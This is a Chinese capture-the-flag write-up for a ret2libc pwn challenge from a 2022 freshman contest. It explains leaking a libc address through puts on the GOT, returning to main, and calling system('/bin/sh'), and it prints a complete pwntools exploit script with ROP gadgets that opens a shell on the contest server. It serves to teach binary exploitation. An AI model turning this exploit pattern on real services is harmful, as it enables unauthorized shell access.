2022Newstar新生赛week1—ret2libc
先看看开了什么保护机制

然后打开64位ida

一个很大的栈溢出,然后去找找有没有system函数和/bin/sh


两个都没有,那么我们只能去找libc了,然后由于只有一个栈溢出,所以我们的思路是我们先栈溢出把程序执行流劫持到puts函数,去执行puts函数输出got表中puts的内容,然后再把程序执行流弄回主函数开头这样子又可以执行一遍栈溢出,这时候知道了libc地址,我们就能获得system和/bin/sh,那么我们就可以在这一次栈溢出中调用system(/bin/sh)了
from pwn import*
elf=ELF('./ret2libc')
libc=ELF('./libc-2.31.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret=0x40050e
main_add=0x400698
p=remote('node4.buuoj.cn',29472)
#p=process('./ret2libc')
#gdb.attach(p)
pop_rdi=0x400753
p.recvuntil('time?')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendline(payload)
p.recvuntil('you!\n')
puts_add=u64(p.recv(6).ljust(8,b'\x00'))#记得获得的数据要解包
print(hex(puts_add))
system=puts_add-libc.symbols['puts']+libc.symbols['system']#给了libc文件就直接在文件里找偏移
print(hex(libc.search(b'/bin/sh\x00').__next__()))
binsh=puts_add-libc.symbols['puts']+libc.search(b'/bin/sh\x00').__next__()#同样找偏移
p.recvuntil('time?')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)#这边ret是用来平衡栈的
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号